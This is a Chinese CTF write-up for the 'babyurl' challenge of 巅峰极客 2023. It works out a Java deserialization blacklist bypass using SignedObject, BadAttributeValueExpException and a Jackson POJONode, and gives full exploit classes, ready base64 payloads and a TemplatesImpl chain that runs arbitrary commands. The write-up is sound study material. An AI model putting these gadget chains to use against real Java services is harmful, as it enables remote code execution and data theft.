巅峰极客ctf 2023 (上)
吐槽
这比赛这么卷是我没想到的(其实烧卖来找我的时候就应该意识到了) , 大伙都不用上班的吗(什么?tel爷上班还是出了,有人请假一道没做出)
还好没去烧卖,不然大概要被嫌弃
榜
接着膜烧卖
我们
学弟很强,带不动我这个废物罢了
babyurl
一个springweb,看controller,两个模板类,一个黑名单,
一眼看出来考察反序列化
看到黑名单
比较难蚌的是题目提供的两个模板类都在这里面,显然不可能绕过这两个东西不用,所以必然是想办法把resolveClass失效掉,比较常见的方法是
- 二次反序列化
- 修改黑名单(参考之前xctf Tel爷的非预期)
忘了说有个绕过开头file的限制
url:file:///flag.txt
如果枚举文件可以用这个协议
netdoc:///
(但是输出不会换行,凑合点看)
假如没有黑名单的话,直接这样构造:
package com.yancao.ctf.qaq; import com.yancao.ctf.bean.URLHelper; import com.yancao.ctf.bean.URLVisiter; import java.io.*; import java.security.*; import java.util.Base64; public class UrlTest { public static void base64encode_exp(Object urlhelper) throws IOException, ClassNotFoundException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(urlhelper); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); } public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchAlgorithmException, SignatureException, InvalidKeyException { URLHelper urlhelper = new URLHelper("url:file:///flag"); urlhelper.visiter = new URLVisiter(); base64encode_exp(urlhelper); } }
本地测了一下没问题,也符合题目设计和内在原理
加上黑名单后想到几个常用的二次反序列化:https://tttang.com/archive/1701/#toc_wrapperconnectionpooldatasource
SignedObject RMIConnector WrapperConnectionPoolDataSource
那么这时候需要看依赖,我这次做不出来和这里不熟悉有关系
看pom.xml
... <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> </dependencies> ...
首先解答一个问题
q: 当我使用maven拉去上面的依赖时,除了和spring-boot-starter,spring-framework有关的依赖,还会有jackson 和 snakeYaml依赖,请问这是为什么
a:这是因为spring-boot-starter
及其相关模块在其内部使用了Jackson
和SnakeYAML
库。
如果你希望查看具体的依赖树,可以使用以下Maven命令来查看:
mvn dependency:tree
jackson是org.springframework.boot:spring-boot-starter-test:jar:2.7.14:test的依赖
snakeYaml是org.springframework.boot:spring-boot-starter:jar:2.7.14:compile的依赖
误区就是有人搭环境搭多了,反序列化看依赖总是只看pom.xml,其实应该直接lib库的
当时其实技巧很重要,试了一下SignedObject,一通alt+enter自动修改报错发现是有依赖的,就快对了,
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchAlgorithmException, SignatureException, InvalidKeyException { URLHelper urlhelper = new URLHelper("url:file:///flag.txt"); urlhelper.visiter = new URLVisiter(); KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signature = Signature.getInstance(privateKey.getAlgorithm()); SignedObject signedObject = new SignedObject(urlhelper, privateKey, signature); signedObject.getObject(); }
卡在不知道这么调getObject了,翻了以前的题目,思路还停在cb或hessian 调用getter方法 (2021)
之前有看过aliyunCTF的easyBean,但是看个思路而已没复现(而且秒忘),现在感觉真的是太亏了
aliyunCTF的easyBean调用链
BadAttributeValueExpException.toString -> FastJSON -> MyBean.getConnect -> RMIConnector.connect -> JNDI
翻到下面可以知道它也有readObject方法
toString的话,可以看到这个https://xz.aliyun.com/t/12509
里面讲述了如何通过BadAttributeValueExpException调用getter方法
BadAttributeValueExpException#readObject -> POJONode#toString -> getter
exp:
ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); clazz.addConstructor(constructor); byte[][] bytes = new byte[][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", bytes); setValue(templates, "_name", "xx"); // setValue(templates, "_tfactory", null); setValue(templates, "_tfactory", new TransformerFactoryImpl()); POJONode node = new POJONode(templates); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, node); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream); oos.writeObject(val); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); Object o = (Object)ois.readObject();
这道题不需要使用templateImpl,我们修改成我们的signedObject
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchAlgorithmException, SignatureException, InvalidKeyException, NoSuchFieldException, IllegalAccessException { URLHelper urlhelper = new URLHelper("url:file:///flag.txt"); urlhelper.visiter = new URLVisiter(); KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signature = Signature.getInstance(privateKey.getAlgorithm()); SignedObject signedObject = new SignedObject(urlhelper, privateKey, signature); // signedObject.getObject(); POJONode node = new POJONode(signedObject); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, node); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream); oos.writeObject(val); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); Object o = (Object)ois.readObject();
本地跑了一下,file文件成功被写入flag.txt
但如文章所言会报错,需要删一下BaseJsonNode的writeReplace方法 (也可以学文章手动删,但是代码不够健壮)
用反射删一下
// 删除 jsonNode 的 writeReplace try { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null); } catch (Exception e) { }
直接写在刚刚exp上面就好
最终exp
package com.yancao.ctf.qaq; import com.fasterxml.jackson.databind.node.POJONode; import com.yancao.ctf.bean.URLHelper; import com.yancao.ctf.bean.URLVisiter; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.security.*; import java.util.Base64; public class UrlTest { public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void base64encode_exp(Object urlhelper) throws IOException, ClassNotFoundException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(urlhelper); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); } public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { URLHelper urlhelper = new URLHelper("url:file:///flag.txt"); urlhelper.visiter = new URLVisiter(); KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signature = Signature.getInstance(privateKey.getAlgorithm()); SignedObject signedObject = new SignedObject(urlhelper, privateKey, signature); // 删除 jsonNode 的 writeReplace try { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null); } catch (Exception e) { } POJONode node = new POJONode(signedObject); BadAttributeValueExpException val = new BadAttributeValueExpException(null); setValue(val, "val", node); // serialize(val); // unserialize("ser.bin"); base64encode_exp(val); } }
hack?payload=rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUHQAGmNvbS55YW5jYW8uY3RmLnFhcS5VcmxUZXN0dAAMVXJsVGVzdC5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB%2BABV4c3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWVxAH4AAXhyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc3IAGmphdmEuc2VjdXJpdHkuU2lnbmVkT2JqZWN0Cf%2B9aCo81f8CAANbAAdjb250ZW50dAACW0JbAAlzaWduYXR1cmVxAH4AG0wADHRoZWFsZ29yaXRobXEAfgAFeHB1cgACW0Ks8xf4BghU4AIAAHhwAAAAwKztAAVzcgAdY29tLnlhbmNhby5jdGYuYmVhbi5VUkxIZWxwZXIAAAAAAAAAAQIAAkwAA3VybHQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAB3Zpc2l0ZXJ0ACBMY29tL3lhbmNhby9jdGYvYmVhbi9VUkxWaXNpdGVyO3hwdAAUdXJsOmZpbGU6Ly8vZmxhZy50eHRzcgAeY29tLnlhbmNhby5jdGYuYmVhbi5VUkxWaXNpdGVyTECyy3jST0ACAAB4cHVxAH4AHQAAAC8wLQIVAI9pYz8xwmNTrma1Ppg1tupLPSTRAhR6gdW7kLyJ%2Ftz%2BpB3b9EnlYIPPnnQAA0RTQQ%3D%3D
记得引入java反射依赖
<dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.25.0-GA</version> </dependency>
ps:要是当时搜到这个也可以秒了,可惜不知道前置(BadAttributeValueExpException)
以后真的要多关注一下新姿势!
由于Fastjson和jackson有不少相似之处,所以完全可以模仿fastjson
评价是真的菜了,太久没反序列化了,
-
学到一个新的二次反序列化(但是感觉别人早会了)
-
绕过file协议(这个是常考知识点)
还有一个值得提到的是,可以直接用templateImpl打rce,那这个题就多少有点非预期的感觉,直接就是个jackson原生反序列化,秒了
exp
package com.yancao.ctf.qaq; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.yancao.ctf.bean.URLHelper; import com.yancao.ctf.bean.URLVisiter; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import javassist.CtMethod; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.security.*; import java.util.Base64; public class UrlTest { public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void base64encode_exp(Object urlhelper) throws IOException, ClassNotFoundException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(urlhelper); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); } public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static byte[] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }"); byte[] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[]{}; } } public static void main(String[] args) throws Exception { // URLHelper urlhelper = new URLHelper("url:file:///flag.txt"); // urlhelper.visiter = new URLVisiter(); // // // KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA"); // keyPairGenerator.initialize(1024); // KeyPair keyPair = keyPairGenerator.genKeyPair(); // PrivateKey privateKey = keyPair.getPrivate(); // Signature signature = Signature.getInstance(privateKey.getAlgorithm()); // SignedObject signedObject = new SignedObject(urlhelper, privateKey, signature); TemplatesImpl templates = new TemplatesImpl(); setValue(templates,"_name", "aaa"); byte[] code = getTemplatesImpl("calc"); byte[][] bytecodes = {code}; setValue(templates, "_bytecodes", bytecodes); setValue(templates,"_tfactory", new TransformerFactoryImpl()); // 删除 jsonNode 的 writeReplace try { ClassPool pool1 = ClassPool.getDefault(); CtClass jsonNode = pool1.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null); } catch (Exception e) { } POJONode node = new POJONode(templates); BadAttributeValueExpException val = new BadAttributeValueExpException(null); setValue(val, "val", node); serialize(val); unserialize("ser.bin"); // base64encode_exp(val); } }
但是这个base64打过去有bug:
应该是pool变量的问题,还有,就是直接抄原文的
setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
会报错
改成这种(我笔记上也是写这种)
setBody("Runtime.getRuntime().exec(\"calc\");");
想执行linux语句这样改
setBody("Runtime.getRuntime().exec(new String[]{\"/bin/bash\", \"-c\", \"cat /F14gIsHereY0UGOTIT > /tmp/file\"});");
最终exp
package com.yancao.ctf.qaq; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.yancao.ctf.bean.URLHelper; import com.yancao.ctf.bean.URLVisiter; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import javassist.CtMethod; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.security.*; import java.util.Base64; public class UrlTest { public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void base64encode_exp(Object urlhelper) throws IOException, ClassNotFoundException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(urlhelper); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); } public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static byte[] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }"); byte[] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[]{}; } } public static void main(String[] args) throws Exception { // URLHelper urlhelper = new URLHelper("url:file:///flag.txt"); // urlhelper.visiter = new URLVisiter(); // // // KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA"); // keyPairGenerator.initialize(1024); // KeyPair keyPair = keyPairGenerator.genKeyPair(); // PrivateKey privateKey = keyPair.getPrivate(); // Signature signature = Signature.getInstance(privateKey.getAlgorithm()); // SignedObject signedObject = new SignedObject(urlhelper, privateKey, signature); ClassPool pool = ClassPool.getDefault(); CtClass clz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clz.setSuperclass(superClass); CtConstructor cc = new CtConstructor(new CtClass[]{}, clz); cc.setBody("Runtime.getRuntime().exec(\"calc\");"); clz.addConstructor(cc); byte[][] bytes = new byte[][]{clz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", bytes); setValue(templates, "_name", "xxx"); setValue(templates, "_tfactory", new TransformerFactoryImpl()); // 删除 jsonNode 的 writeReplace try { // ClassPool pool1 = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null); } catch (Exception e) { } POJONode node = new POJONode(templates); BadAttributeValueExpException val = new BadAttributeValueExpException(null); setValue(val, "val", node); serialize(val); // unserialize("ser.bin"); base64encode_exp(val); } }
?payload=rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAbXQAGmNvbS55YW5jYW8uY3RmLnFhcS5VcmxUZXN0dAAMVXJsVGVzdC5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB%2BABV4c3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWVxAH4AAXhyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0%2FBbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAFTAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA%2F%2F%2F%2F%2F3VyAANbW0JL%2FRkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF%2FgGCFTgAgAAeHAAAAFWyv66vgAAADQAGAEAAWEHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ%2BAQADKClWAQAEQ29kZQwABQAGCgAEAAgBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAKU291cmNlRmlsZQEABmEuamF2YQAhAAIABAAAAAAAAQABAAUABgABAAcAAAAaAAIAAQAAAA4qtwAJuAAPEhG2ABVXsQAAAAAAAQAWAAAAAgAXcHQAA3h4eHB3AQB4
最后这里有点玄学,我多次重启springweb之后打过去才弹计算器